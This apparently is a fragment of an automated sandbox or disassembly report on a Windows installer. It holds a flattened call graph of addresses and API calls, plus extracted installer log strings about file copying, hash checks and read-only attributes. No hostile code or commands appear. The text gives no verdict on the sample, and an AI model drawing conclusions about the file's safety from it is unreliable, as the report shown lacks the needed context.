API calls 53442->53445 53444->53442 53445->53439 57755 44b4a8 57756 44b4b6 57755->57756 57758 44b4d5 57755->57758 57757 44b38c 25 API calls 57756->57757 57756->57758 57757->57758 57759 448728 57760 448756 57759->57760 57761 44875d 57759->57761 57764 403400 4 API calls 57760->57764 57762 448771 57761->57762 57765 44852c 21 API calls 57761->57765 57762->57760 57763 403494 4 API calls 57762->57763 57766 44878a 57763->57766 57767 448907 57764->57767 57765->57762 57768 4037b8 18 API calls 57766->57768 57769 4487a6 57768->57769 57770 4037b8 18 API calls 57769->57770 57771 4487c2 57770->57771 57771->57760 57772 4487d6 57771->57772 57773 4037b8 18 API calls 57772->57773 57774 4487f0 57773->57774 57775 431bd0 18 API calls 57774->57775 57776 448812 57775->57776 57777 431ca0 18 API calls 57776->57777 57778 448832 57776->57778 57777->57776 57781 448870 57778->57781 57802 4435d0 18 API calls 57778->57802 57785 448888 57781->57785 57803 4435d0 18 API calls 57781->57803 57782 4488bc GetLastError 57804 4484c0 18 API calls 57782->57804 57791 442334 57785->57791 57786 4488cb 57805 443610 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 57786->57805 57788 4488e0 57806 443620 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 57788->57806 57790 4488e8 57792 443312 57791->57792 57793 44236d 57791->57793 57795 403400 4 API calls 57792->57795 57794 403400 4 API calls 57793->57794 57796 442375 57794->57796 57797 443327 57795->57797 57798 431bd0 18 API calls 57796->57798 57797->57782 57800 442381 57798->57800 57799 443302 57799->57782 57800->57799 57807 441a0c 18 API calls 57800->57807 57802->57778 57803->57785 57804->57786 57805->57788 57806->57790 57807->57800 57808 4165ec DestroyWindow 57809 4915e4 57810 49161e 57809->57810 57811 49162a 57810->57811 57812 491620 57810->57812 57814 491639 57811->57814 57815 491662 57811->57815 58005 409098 MessageBeep 57812->58005 57817 446ff8 32 API calls 57814->57817 57820 49169a 57815->57820 57821 491671 57815->57821 57816 403420 4 API calls 57818 491c76 57816->57818 57819 491646 57817->57819 57822 403400 4 API calls 57818->57822 57823 406bb0 18 API calls 57819->57823 57830 4916a9 57820->57830 57831 4916d2 57820->57831 57824 446ff8 32 API calls 57821->57824 57825 491c7e 57822->57825 57826 491651 57823->57826 57827 49167e 57824->57827 58006 44734c 19 API calls 57826->58006 58007 406c00 18 API calls 57827->58007 57833 446ff8 32 API calls 57830->57833 57836 4916fa 57831->57836 57837 4916e1 57831->57837 57832 491689 58008 44734c 19 API calls 57832->58008 57835 4916b6 57833->57835 58009 406c34 18 API calls 57835->58009 57844 491709 57836->57844 57845 49172e 57836->57845 58011 407280 19 API calls 57837->58011 57840 4916c1 58010 44734c 19 API calls 57840->58010 57842 4916e9 58012 44734c 19 API calls 57842->58012 57847 446ff8 32 API calls 57844->57847 57850 49173d 57845->57850 57851 491766 57845->57851 57846 491625 57846->57816 57848 491716 57847->57848 57849 4072a8 SetCurrentDirectoryA 57848->57849 57852 49171e 57849->57852 57853 446ff8 32 API calls 57850->57853 57856 49179e 57851->57856 57857 491775 57851->57857 58013 4470d0 19 API calls 57852->58013 57855 49174a 57853->57855 57858 42c804 19 API calls 57855->57858 57864 4917ea 57856->57864 57865 4917ad 57856->57865 57859 446ff8 32 API calls 57857->57859 57860 491755 57858->57860 57861 491782 57859->57861 58014 44734c 19 API calls 57860->58014 58015 4071f8 22 API calls 57861->58015 57870 4917f9 57864->57870 57871 491822 57864->57871 57867 446ff8 32 API calls 57865->57867 57866 49178d 58016 44734c 19 API calls 57866->58016 57869 4917bc 57867->57869 57872 446ff8 32 API calls 57869->57872 57873 446ff8 32 API calls 57870->57873 57877 49185a 57871->57877 57878 491831 57871->57878 57874 4917cd 57872->57874 57876 491806 57873->57876 58017 4912e8 22 API calls 57874->58017 57880 42c8a4 19 API calls 57876->57880 57887 491869 57877->57887 57888 491892 57877->57888 57881 446ff8 32 API calls 57878->57881 57879 4917d9 58018 44734c 19 API calls 57879->58018 57883 491811 57880->57883 57884 49183e 57881->57884 58019 44734c 19 API calls 57883->58019 57886 42c8cc 19 API calls 57884->57886 57889 491849 57886->57889 57890 446ff8 32 API calls 57887->57890 57893 4918ca 57888->57893 57894 4918a1 57888->57894 58020 44734c 19 API calls 57889->58020 57892 491876 57890->57892 58021 42c8fc 19 API calls 57892->58021 57901 4918d9 57893->57901 57902 491902 57893->57902 57896 446ff8 32 API calls 57894->57896 57899 4918ae 57896->57899 57897 491881 58022 44734c 19 API calls 57897->58022 57900 42c92c 19 API calls 57899->57900 57904 4918b9 57900->57904 57903 446ff8 32 API calls 57901->57903 57908 49194e 57902->57908 57909 491911 57902->57909 57905 4918e6 57903->57905 58023 44734c 19 API calls 57904->58023 57907 42c954 19 API calls 57905->57907 57910 4918f1 57907->57910 57914 49195d 57908->57914 57915 4919a0 57908->57915 57911 446ff8 32 API calls 57909->57911 58024 44734c 19 API calls 57910->58024 57913 491920 57911->57913 57916 446ff8 32 API calls 57913->57916 57917 446ff8 32 API calls 57914->57917 57921 4919af 57915->57921 57922 491a13 57915->57922 57918 491931 57916->57918 57919 491970 57917->57919 58025 42c4f8 19 API calls 57918->58025 57923 446ff8 32 API calls 57919->57923 57926 446ff8 32 API calls 57921->57926 57930 491a52 57922->57930 57931 491a22 57922->57931 57927 491981 57923->57927 57924 49193d 58026 44734c 19 API calls 57924->58026 57928 4919bc 57926->57928 58027 4914e0 26 API calls 57927->58027 57997 42c608 21 API calls 57928->57997 57942 491a91 57930->57942 57943 491a61 57930->57943 57934 446ff8 32 API calls 57931->57934 57933 49198f 58028 44734c 19 API calls 57933->58028 57937 491a2f 57934->57937 57935 4919ca 57938 4919ce 57935->57938 57939 491a03 57935->57939 58031 452908 Wow64DisableWow64FsRedirection SetLastError Wow64RevertWow64FsRedirection DeleteFileA GetLastError 57937->58031 57941 446ff8 32 API calls 57938->57941 58030 4470d0 19 API calls 57939->58030 57946 4919dd 57941->57946 57952 491ad0 57942->57952 57953 491aa0 57942->57953 57947 446ff8 32 API calls 57943->57947 57945 491a3c 58032 4470d0 19 API calls 57945->58032 57998 452c80 57946->57998 57950 491a6e 57947->57950 57951 452770 5 API calls 57950->57951 57956 491a7b 57951->57956 57961 491b18 57952->57961 57962 491adf 57952->57962 57957 446ff8 32 API calls 57953->57957 57954 491a4d 57954->57846 57955 4919ed 58029 4470d0 19 API calls 57955->58029 58033 4470d0 19 API calls 57956->58033 57960 491aad 57957->57960 58034 452e10 Wow64DisableWow64FsRedirection SetLastError Wow64RevertWow64FsRedirection RemoveDirectoryA GetLastError 57960->58034 57969 491b60 57961->57969 57970 491b27 57961->57970 57964 446ff8 32 API calls 57962->57964 57966 491aee 57964->57966 57965 491aba 58035 4470d0 19 API calls 57965->58035 57968 446ff8 32 API calls 57966->57968 57971 491aff 57968->57971 57975 491b73 57969->57975 57981 491c29 57969->57981 57972 446ff8 32 API calls 57970->57972 57977 447278 19 API calls 57971->57977 57973 491b36 57972->57973 57974 446ff8 32 API calls 57973->57974 57976 491b47 57974->57976 57978 446ff8 32 API calls 57975->57978 57982 447278 19 API calls 57976->57982 57977->57846 57979 491ba0 57978->57979 57980 446ff8 32 API calls 57979->57980 57983 491bb7 57980->57983 57981->57846 58039 446f9c 32 API calls 57981->58039 57982->57846 58036 407ddc 21 API calls 57983->58036 57985 491c42 57986 42e8c8 19 API calls 57985->57986 57987 491c4a 57986->57987 58040 44734c 19 API calls 57987->58040 57990 491bd9 57991 446ff8 32 API calls 57990->57991 57992 491bed 57991->57992 58037 408508 18 API calls 57992->58037 57994 491bf8 58038 44734c 19 API calls 57994->58038 57996 491c04 57997->57935 57999 452724 2 API calls 57998->57999 58001 452c99 57999->58001 58000 452c9d 58000->57955 58001->58000 58002 452cc1 MoveFileA GetLastError 58001->58002 58003 452760 Wow64RevertWow64FsRedirection 58002->58003 58004 452ce7 58003->58004 58004->57955 58005->57846 58006->57846 58007->57832 58008->57846 58009->57840 58010->57846 58011->57842 58012->57846 58013->57846 58014->57846 58015->57866 58016->57846 58017->57879 58018->57846 58019->57846 58020->57846 58021->57897 58022->57846 58023->57846 58024->57846 58025->57924 58026->57846 58027->57933 58028->57846 58029->57846 58030->57846 58031->57945 58032->57954 58033->57846 58034->57965 58035->57846 58036->57990 58037->57994 58038->57996 58039->57985 58040->57846 58041 42e3ef SetErrorMode 53446 441394 53447 44139d 53446->53447 53448 4413ab WriteFile 53446->53448 53447->53448 53449 4413b6 53448->53449 53450 416410 53451 416422 53450->53451 53452 416462 GetClassInfoA 53451->53452 53470 408d2c 33 API calls 53451->53470 53453 41648e 53452->53453 53455 4164b0 RegisterClassA 53453->53455 53456 4164a0 UnregisterClassA 53453->53456 53458 4164ee 53453->53458 53457 4164d8 53455->53457 53455->53458 53456->53455 53460 408cbc 19 API calls 53457->53460 53461 416517 53458->53461 53462 4164e9 53458->53462 53459 41645d 53459->53452 53460->53462 53471 407544 53461->53471 53462->53458 53463 408cbc 19 API calls 53462->53463 53463->53461 53467 416530 53468 41a1e8 19 API calls 53467->53468 53469 41653a 53468->53469 53470->53459 53472 407552 53471->53472 53473 407548 53471->53473 53475 418384 7 API calls 53472->53475 53474 402660 4 API calls 53473->53474 53474->53472 53475->53467 53476 498718 53534 403344 53476->53534 53478 498726 53537 4056a0 53478->53537 53480 49872b 53540 40631c GetModuleHandleA GetProcAddress 53480->53540 53484 498735 53548 40994c 53484->53548 53815 4032fc 53534->53815 53536 403349 GetModuleHandleA GetCommandLineA 53536->53478 53539 4056db 53537->53539 53816 4033bc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53537->53816 53539->53480 53541 406338 53540->53541 53542 40633f GetProcAddress 53540->53542 53541->53542 53543 406355 GetProcAddress 53542->53543 53544 40634e 53542->53544 53545 406364 SetProcessDEPPolicy 53543->53545 53546 406368 53543->53546 53544->53543 53545->53546 53547 4063c4 6F551CD0 53546->53547 53547->53484 53817 409024 53548->53817 53815->53536 53816->53539 53818 408cbc 19 API calls 53817->53818 53819 409035 53818->53819 53820 4085dc GetSystemDefaultLCID 53819->53820 53821 408612 53820->53821 53822 403450 18 API calls 53821->53822 53823 406dec 19 API calls 53821->53823 53824 408568 19 API calls 53821->53824 53827 408674 53821->53827 53822->53821 53823->53821 53824->53821 53825 406dec 19 API calls 53825->53827 53826 408568 19 API calls 53826->53827 53827->53825 53827->53826 53828 403450 18 API calls 53827->53828 53829 4086f7 53827->53829 53828->53827 53830 403420 4 API calls 53829->53830 53831 408711 53830->53831 53832 408720 GetSystemDefaultLCID 53831->53832 53889 408568 GetLocaleInfoA 53832->53889 53835 403450 18 API calls 53836 408760 53835->53836 53837 408568 19 API calls 53836->53837 53838 408775 53837->53838 53839 408568 19 API calls 53838->53839 53840 408799 53839->53840 53895 4085b4 GetLocaleInfoA 53840->53895 53843 4085b4 GetLocaleInfoA 53844 4087c9 53843->53844 53845 408568 19 API calls 53844->53845 53846 4087e3 53845->53846 53847 4085b4 GetLocaleInfoA 53846->53847 53848 408800 53847->53848 53849 408568 19 API calls 53848->53849 53850 40881a 53849->53850 53890 4085a1 53889->53890 53891 40858f 53889->53891 53893 403494 4 API calls 53890->53893 53892 4034e0 18 API calls 53891->53892 53894 40859f 53892->53894 53893->53894 53894->53835 53896 4085d0 53895->53896 53896->53843 55266 4804db 55267 4804e4 55266->55267 55268 48050f 55266->55268 55267->55268 55269 480501 55267->55269 55272 48054e 55268->55272 55640 47ef88 18 API calls 55268->55640 55638 476770 203 API calls 55269->55638 55271 480572 55279 4805ae 55271->55279 55280 480590 55271->55280 55272->55271 55275 480565 55272->55275 55276 480567 55272->55276 55274 480541 55641 47eff0 56 API calls 55274->55641 55283 47efcc 56 API calls 55275->55283 55642 47f060 56 API calls 55276->55642 55277 480506 55277->55268 55639 408be0 19 API calls 55277->55639 55645 47ee20 38 API calls 55279->55645 55284 4805a5 55280->55284 55643 47eff0 56 API calls 55280->55643 55283->55271 55644 47ee20 38 API calls 55284->55644 55288 4805ac 55289 4805be 55288->55289 55290 4805c4 55288->55290 55291 4805c2 55289->55291 55294 47efcc 56 API calls 55289->55294 55290->55291 55292 47efcc 56 API calls 55290->55292 55392 47c15c 55291->55392 55292->55291 55294->55291 55295 4805eb 55393 42d898 GetWindowsDirectoryA 55392->55393 55394 47c180 55393->55394 55395 403450 18 API calls 55394->55395 55396 47c18d 55395->55396 55397 42d8c4 GetSystemDirectoryA 55396->55397 55398 47c195 55397->55398 55399 403450 18 API calls 55398->55399 55400 47c1a2 55399->55400 55401 42d8f0 6 API calls 55400->55401 55402 47c1aa 55401->55402 55403 403450 18 API calls 55402->55403 55404 47c1b7 55403->55404 55405 47c1c0 55404->55405 55406 47c1dc 55404->55406 55677 42d208 55405->55677 55408 403400 4 API calls 55406->55408 55410 47c1da 55408->55410 55412 47c221 55410->55412 55413 42c8cc 19 API calls 55410->55413 55411 403450 18 API calls 55411->55410 55657 47bfe4 55412->55657 55415 47c1fc 55413->55415 55417 403450 18 API calls 55415->55417 55419 47c209 55417->55419 55418 403450 18 API calls 55420 47c23d 55418->55420 55419->55412 55422 403450 18 API calls 55419->55422 55421 47c25b 55420->55421 55423 4035c0 18 API calls 55420->55423 55424 47bfe4 22 API calls 55421->55424 55422->55412 55423->55421 55425 47c26a 55424->55425 55426 403450 18 API calls 55425->55426 55427 47c277 55426->55427 55428 47c29f 55427->55428 55429 42c3fc 19 API calls 55427->55429 55430 47c306 55428->55430 55433 47bfe4 22 API calls 55428->55433 55431 47c28d 55429->55431 55432 47c3ce 55430->55432 55437 47c326 SHGetKnownFolderPath 55430->55437 55436 4035c0 18 API calls 55431->55436 55434 47c3d7 55432->55434 55435 47c3f8 55432->55435 55438 47c2b7 55433->55438 55439 42c3fc 19 API calls 55434->55439 55440 42c3fc 19 API calls 55435->55440 55436->55428 55441 47c340 55437->55441 55442 47c37b SHGetKnownFolderPath 55437->55442 55443 403450 18 API calls 55438->55443 55444 47c3e4 55439->55444 55445 47c405 55440->55445 55687 403ba4 21 API calls 55441->55687 55442->55432 55447 47c395 55442->55447 55452 47c2c4 55443->55452 55448 4035c0 18 API calls 55444->55448 55449 4035c0 18 API calls 55445->55449 55688 403ba4 21 API calls 55447->55688 55450 47c35b CoTaskMemFree 55450->55295 55451 47c2d7 55457 47bfe4 22 API calls 55451->55457 55452->55451 55685 453344 18 API calls 55452->55685 55456 47c3b0 CoTaskMemFree 55456->55295 55638->55277 55640->55274 55641->55272 55642->55271 55643->55284 55644->55288 55645->55288 55658 42de1c RegOpenKeyExA 55657->55658 55659 47c00a 55658->55659 55660 47c030 55659->55660 55661 47c00e 55659->55661 55663 403400 4 API calls 55660->55663 55662 42dd4c 20 API calls 55661->55662 55664 47c01a 55662->55664 55665 47c037 55663->55665 55666 47c025 RegCloseKey 55664->55666 55667 403400 4 API calls 55664->55667 55665->55418 55666->55665 55667->55666 55678 4038a4 18 API calls 55677->55678 55679 42d21b 55678->55679 55680 42d232 GetEnvironmentVariableA 55679->55680 55684 42d245 55679->55684 55689 42dbd0 18 API calls 55679->55689 55680->55679 55681 42d23e 55680->55681 55683 403400 4 API calls 55681->55683 55683->55684 55684->55411 55685->55451 55687->55450 55688->55456 55689->55679 58042 40cc34 58045 406f10 WriteFile 58042->58045 58046 406f2d 58045->58046 57159 41ee54 57160 41ee63 IsWindowVisible 57159->57160 57161 41ee99 57159->57161 57160->57161 57162 41ee6d IsWindowEnabled 57160->57162 57162->57161 57163 41ee77 57162->57163 57164 402648 18 API calls 57163->57164 57165 41ee81 EnableWindow 57164->57165 57165->57161 57166 41fb58 57167 41fb61 57166->57167 57170 41fdfc 57167->57170 57169 41fb6e 57171 41feee 57170->57171 57172 41fe13 57170->57172 57171->57169 57172->57171 57191 41f9bc GetWindowLongA GetSystemMetrics GetSystemMetrics GetWindowLongA 57172->57191 57174 41fe49 57175 41fe73 57174->57175 57176 41fe4d 57174->57176 57201 41f9bc GetWindowLongA GetSystemMetrics GetSystemMetrics GetWindowLongA 57175->57201 57192 41fb9c 57176->57192 57180 41fe81 57182 41fe85 57180->57182 57183 41feab 57180->57183 57181 41fb9c 10 API calls 57185 41fe71 57181->57185 57186 41fb9c 10 API calls 57182->57186 57184 41fb9c 10 API calls 57183->57184 57187 41febd 57184->57187 57185->57169 57188 41fe97 57186->57188 57189 41fb9c 10 API calls 57187->57189 57190 41fb9c 10 API calls 57188->57190 57189->57185 57190->57185 57191->57174 57193 41fbb7 57192->57193 57194 41fbcd 57193->57194 57195 41f93c 4 API calls 57193->57195 57202 41f93c 57194->57202 57195->57194 57197 41fc15 57198 41fc38 SetScrollInfo 57197->57198 57210 41fa9c 57198->57210 57201->57180 57203 4181e0 57202->57203 57204 41f959 GetWindowLongA 57203->57204 57205 41f996 57204->57205 57206 41f976 57204->57206 57222 41f8c8 GetWindowLongA GetSystemMetrics GetSystemMetrics 57205->57222 57221 41f8c8 GetWindowLongA GetSystemMetrics GetSystemMetrics 57206->57221 57209 41f982 57209->57197 57211 41faaa 57210->57211 57212 41fab2 57210->57212 57211->57181 57213 41faef 57212->57213 57214 41faf1 57212->57214 57215 41fae1 57212->57215 57217 41fb31 GetScrollPos 57213->57217 57224 417e48 IsWindowVisible ScrollWindow SetWindowPos 57214->57224 57223 417e48 IsWindowVisible ScrollWindow SetWindowPos 57215->57223 57217->57211 57219 41fb3c 57217->57219 57220 41fb4b SetScrollPos 57219->57220 57220->57211 57221->57209 57222->57209 57223->57213 57224->57213 57225 420598 57226 4205ab 57225->57226 57246 415b30 57226->57246 57228 4206f2 57229 420709 57228->57229 57253 4146d4 KiUserCallbackDispatcher 57228->57253 57233 420720 57229->57233 57254 414718 KiUserCallbackDispatcher 57229->57254 57230 420651 57251 420848 34 API calls 57230->57251 57231 4205e6 57231->57228 57231->57230 57239 420642 MulDiv 57231->57239 57236 420742 57233->57236 57255 420060 12 API calls 57233->57255 57237 42066a 57237->57228 57252 420060 12 API calls 57237->57252 57250 41a304 19 API calls 57239->57250 57242 420687 57243 4206a3 MulDiv 57242->57243 57244 4206c6 57242->57244 57243->57244 57244->57228 57245 4206cf MulDiv 57244->57245 57245->57228 57247 415b42 57246->57247 57256 414470 57247->57256 57249 415b5a 57249->57231 57250->57230 57251->57237 57252->57242 57253->57229 57254->57233 57255->57236 57257 41448a 57256->57257 57260 410458 57257->57260 57259 4144a0 57259->57249 57263 40dca4 57260->57263 57262 41045e 57262->57259 57264 40dd06 57263->57264 57265 40dcb7 57263->57265 57270 40dd14 57264->57270 57268 40dd14 33 API calls 57265->57268 57269 40dce1 57268->57269 57269->57262 57271 40dd24 57270->57271 57273 40dd3a 57271->57273 57282 40e09c 57271->57282 57298 40d5e0 57271->57298 57301 40df4c 57273->57301 57276 40dd42 57277 40d5e0 19 API calls 57276->57277 57278 40ddae 57276->57278 57304 40db60 57276->57304 57277->57276 57280 40df4c 19 API calls 57278->57280 57281 40dd10 57280->57281 57281->57262 57283 40e96c 19 API calls 57282->57283 57284 40e0d7 57283->57284 57285 403778 18 API calls 57284->57285 57286 40e18d 57284->57286 57372 40d774 19 API calls 57284->57372 57373 40e080 19 API calls 57284->57373 57285->57284 57287 40e1b7 57286->57287 57288 40e1a8 57286->57288 57369 40ba24 57287->57369 57318 40e3c0 57288->57318 57294 40e1b5 57295 403400 4 API calls 57294->57295 57296 40e25c 57295->57296 57296->57271 57299 40ea08 19 API calls 57298->57299 57300 40d5ea 57299->57300 57300->57271 57406 40d4bc 57301->57406 57305 40df54 19 API calls 57304->57305 57306 40db93 57305->57306 57307 40e96c 19 API calls 57306->57307 57308 40db9e 57307->57308 57309 40e96c 19 API calls 57308->57309 57310 40dba9 57309->57310 57311 40dbc4 57310->57311 57312 40dbbb 57310->57312 57317 40dbc1 57310->57317 57415 40d9d8 57311->57415 57418 40dac8 33 API calls 57312->57418 57315 403420 4 API calls 57316 40dc8f 57315->57316 57316->57276 57317->57315 57319 40e3f6 57318->57319 57320 40e3ec 57318->57320 57322 40e511 57319->57322 57323 40e495 57319->57323 57324 40e4f6 57319->57324 57325 40e576 57319->57325 57326 40e438 57319->57326 57327 40e4d9 57319->57327 57328 40e47a 57319->57328 57329 40e4bb 57319->57329 57340 40e45c 57319->57340 57375 40d440 19 API calls 57320->57375 57331 40d764 19 API calls 57322->57331 57383 40de24 19 API calls 57323->57383 57388 40e890 19 API calls 57324->57388 57335 40d764 19 API calls 57325->57335 57376 40d764 57326->57376 57386 40e9a8 19 API calls 57327->57386 57382 40d818 19 API calls 57328->57382 57385 40dde4 19 API calls 57329->57385 57341 40e519 57331->57341 57334 403400 4 API calls 57342 40e5eb 57334->57342 57343 40e57e 57335->57343 57339 40e4a0 57384 40d470 19 API calls 57339->57384 57340->57334 57347 40e523 57341->57347 57348 40e51d 57341->57348 57342->57294 57349 40e582 57343->57349 57350 40e59b 57343->57350 57344 40e4e4 57387 409d38 18 API calls 57344->57387 57389 40ea08 57347->57389 57357 40e521 57348->57357 57358 40e53c 57348->57358 57360 40ea08 19 API calls 57349->57360 57395 40de24 19 API calls 57350->57395 57352 40e461 57381 40ded8 19 API calls 57352->57381 57353 40e444 57379 40de24 19 API calls 57353->57379 57393 40de24 19 API calls 57357->57393 57362 40ea08 19 API calls 57358->57362 57360->57340 57361 40e44f 57380 40e26c 19 API calls 57361->57380 57363 40e544 57362->57363 57392 40d8a0 19 API calls 57363->57392 57366 40e566 57394 40e2d4 18 API calls 57366->57394 57401 40b9d0 57369->57401 57372->57284 57373->57284 57374 40d774 19 API calls 57374->57294 57375->57319 57377 40ea08 19 API calls 57376->57377 57378 40d76e 57377->57378 57378->57352 57378->57353 57379->57361 57380->57340 57381->57340 57382->57340 57383->57339 57384->57340 57385->57340 57386->57344 57387->57340 57388->57340 57396 40d780 57389->57396 57392->57340 57393->57366 57394->57340 57395->57340 57399 40d78b 57396->57399 57397 40d7c5 57397->57340 57399->57397 57400 40d7cc 19 API calls 57399->57400 57400->57399 57402 40b9e2 57401->57402 57404 40ba07 57401->57404 57402->57404 57405 40ba84 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 57402->57405 57404->57294 57404->57374 57405->57404 57407 40ea08 19 API calls 57406->57407 57408 40d4c9 57407->57408 57409 40d4dc 57408->57409 57413 40eb0c 19 API calls 57408->57413 57409->57276 57411 40d4d7 57414 40d458 19 API calls 57411->57414 57413->57411 57414->57409 57419 40ab7c 33 API calls 57415->57419 57417 40da00 57417->57317 57418->57317 57419->57417 58047 41363c SetWindowLongA GetWindowLongA 58048 413699 SetPropA SetPropA 58047->58048 58049 41367b GetWindowLongA 58047->58049 58054 41f39c 58048->58054 58049->58048 58050 41368a SetWindowLongA 58049->58050 58050->58048 58059 415270 58054->58059 58066 423c0c 58054->58066 58160 423a84 58054->58160 58055 4136e9 58060 41527d 58059->58060 58061 4152e3 58060->58061 58062 4152d8 58060->58062 58064 4152e1 58060->58064 58167 424b8c 13 API calls 58061->58167 58062->58064 58168 41505c 60 API calls 58062->58168 58064->58055 58071 423c42 58066->58071 58069 423cec 58072 423cf3 58069->58072 58073 423d27 58069->58073 58070 423c8d 58074 423c93 58070->58074 58075 423d50 58070->58075 58094 423c63 58071->58094 58169 423b68 58071->58169 58076 423fb1 58072->58076 58077 423cf9 58072->58077 58080 423d32 58073->58080 58081 42409a IsIconic 58073->58081 58078 423cc5 58074->58078 58079 423c98 58074->58079 58082 423d62 58075->58082 58083 423d6b 58075->58083 58076->58094 58135 423fd7 IsWindowEnabled 58076->58135 58085 423f13 SendMessageA 58077->58085 58086 423d07 58077->58086 58078->58094 58110 423cde 58078->58110 58111 423e3f 58078->58111 58088 423df6 58079->58088 58089 423c9e 58079->58089 58090 4240d6 58080->58090 58091 423d3b 58080->58091 58087 4240ae GetFocus 58081->58087 58081->58094 58092 423d78 58082->58092 58093 423d69 58082->58093 58176 424194 11 API calls 58083->58176 58085->58094 58086->58094 58101 423cc0 58086->58101 58122 423f56 58086->58122 58087->58094 58096 4240bf 58087->58096 58181 423b84 NtdllDefWindowProc_A 58088->58181 58097 423ca7 58089->58097 58098 423e1e PostMessageA 58089->58098 58190 424850 WinHelpA PostMessageA 58090->58190 58091->58101 58102 4240ed 58091->58102 58095 4241dc 11 API calls 58092->58095 58177 423b84 NtdllDefWindowProc_A 58093->58177 58094->58055 58095->58094 58189 41eff4 GetCurrentThreadId EnumThreadWindows 58096->58189 58106 423cb0 58097->58106 58107 423ea5 58097->58107 58182 423b84 NtdllDefWindowProc_A 58098->58182 58101->58094 58175 423b84 NtdllDefWindowProc_A 58101->58175 58108 4240f6 58102->58108 58109 42410b 58102->58109 58114 423cb9 58106->58114 58115 423dce IsIconic 58106->58115 58116 423eae 58107->58116 58117 423edf 58107->58117 58118 4244d4 19 API calls 58108->58118 58191 42452c LocalAlloc TlsSetValue TlsGetValue TlsGetValue SendMessageA 58109->58191 58110->58101 58119 423e0b 58110->58119 58173 423b84 NtdllDefWindowProc_A 58111->58173 58113 4240c6 58113->58094 58123 4240ce SetFocus 58113->58123 58114->58101 58124 423d91 58114->58124 58127 423dea 58115->58127 58128 423dde 58115->58128 58184 423b14 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 58116->58184 58174 423b84 NtdllDefWindowProc_A 58117->58174 58118->58094 58131 424178 26 API calls 58119->58131 58121 423e45 58132 423e83 58121->58132 58133 423e61 58121->58133 58122->58094 58146 423f78 IsWindowEnabled 58122->58146 58123->58094 58124->58094 58178 422c4c ShowWindow PostMessageA PostQuitMessage 58124->58178 58126 423e39 58126->58094 58180 423b84 NtdllDefWindowProc_A 58127->58180 58179 423bc0 29 API calls 58128->58179 58131->58094 58140 423a84 6 API calls 58132->58140 58183 423b14 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 58133->58183 58134 423eb6 58142 423ec8 58134->58142 58148 41ef58 6 API calls 58134->58148 58135->58094 58143 423fe5 58135->58143 58138 423ee5 58144 423efd 58138->58144 58150 41eea4 2 API calls 58138->58150 58147 423e8b PostMessageA 58140->58147 58185 423b84 NtdllDefWindowProc_A 58142->58185 58153 423fec IsWindowVisible 58143->58153 58151 423a84 6 API calls 58144->58151 58145 423e69 PostMessageA 58145->58094 58146->58094 58152 423f86 58146->58152 58147->58094 58148->58142 58150->58144 58151->58094 58186 412310 21 API calls 58152->58186 58153->58094 58155 423ffa GetFocus 58153->58155 58156 4181e0 58155->58156 58157 42400f SetFocus 58156->58157 58187 415240 58157->58187 58161 423b0d 58160->58161 58162 423a94 58160->58162 58161->58055 58162->58161 58163 423a9a EnumWindows 58162->58163 58163->58161 58164 423ab6 GetWindow GetWindowLongA 58163->58164 58192 423a1c GetWindow 58163->58192 58165 423ad5 58164->58165 58165->58161 58166 423b01 SetWindowPos 58165->58166 58166->58161 58166->58165 58167->58064 58168->58064 58170 423b72 58169->58170 58171 423b7d 58169->58171 58170->58171 58172 408720 21 API calls 58170->58172 58171->58069 58171->58070 58172->58171 58173->58121 58174->58138 58175->58094 58176->58094 58177->58094 58178->58094 58179->58094 58180->58094 58181->58094 58182->58126 58183->58145 58184->58134 58185->58094 58186->58094 58188 41525b SetFocus 58187->58188 58188->58094 58189->58113 58190->58126 58191->58126 58193 423a3d GetWindowLongA 58192->58193 58194 423a49 58192->58194 58193->58194
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • 7J|, xrefs: 004705BA
                                                                                                                                                                                                                                      • -- File entry --, xrefs: 0047056F
                                                                                                                                                                                                                                      • User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 00470D0A
                                                                                                                                                                                                                                      • Existing file's SHA-1 hash is different from our file. Proceeding., xrefs: 00470B38
                                                                                                                                                                                                                                      • Dest filename: %s, xrefs: 00470708
                                                                                                                                                                                                                                      • Failed to strip read-only attribute., xrefs: 00470D47
                                                                                                                                                                                                                                      • Non-default bitness: 64-bit, xrefs: 00470723
                                                                                                                                                                                                                                      • , xrefs: 00470A43, 00470C14, 00470C92
                                                                                                                                                                                                                                      • .tmp, xrefs: 00470E2B
                                                                                                                                                                                                                                      • Dest file is protected by Windows File Protection., xrefs: 00470761
                                                                                                                                                                                                                                      • Installing the file., xrefs: 00470D7D
                                                                                                                                                                                                                                      • Will register the file (a type library) later., xrefs: 00471387
                                                                                                                                                                                                                                      • Dest file exists., xrefs: 0047082F
                                                                                                                                                                                                                                      • Time stamp of existing file: %s, xrefs: 0047089F
                                                                                                                                                                                                                                      • Stripped read-only attribute., xrefs: 00470D3B
                                                                                                                                                                                                                                      • Time stamp of our file: %s, xrefs: 0047080F
                                                                                                                                                                                                                                      • Non-default bitness: 32-bit, xrefs: 0047072F
                                                                                                                                                                                                                                      • User opted not to overwrite the existing file. Skipping., xrefs: 00470CC1
                                                                                                                                                                                                                                      • InUn, xrefs: 00470FD3
                                                                                                                                                                                                                                      • Incrementing shared file count (64-bit)., xrefs: 00471400
                                                                                                                                                                                                                                      • Failed to read existing file's SHA-1 hash. Proceeding., xrefs: 00470B44
                                                                                                                                                                                                                                      • Skipping due to "onlyifdestfileexists" flag., xrefs: 00470D6E
                                                                                                                                                                                                                                      • Incrementing shared file count (32-bit)., xrefs: 00471419
                                                                                                                                                                                                                                      • Couldn't read time stamp. Skipping., xrefs: 00470BA9
                                                                                                                                                                                                                                      • Version of our file: (none), xrefs: 00470970
                                                                                                                                                                                                                                      • Uninstaller requires administrator: %s, xrefs: 00471003
                                                                                                                                                                                                                                      • Existing file has a later time stamp. Skipping., xrefs: 00470C43
                                                                                                                                                                                                                                      • Same version. Skipping., xrefs: 00470B59
                                                                                                                                                                                                                                      • @, xrefs: 00470624
                                                                                                                                                                                                                                      • Same time stamp. Skipping., xrefs: 00470BC9
                                                                                                                                                                                                                                      • Time stamp of existing file: (failed to read), xrefs: 004708AB
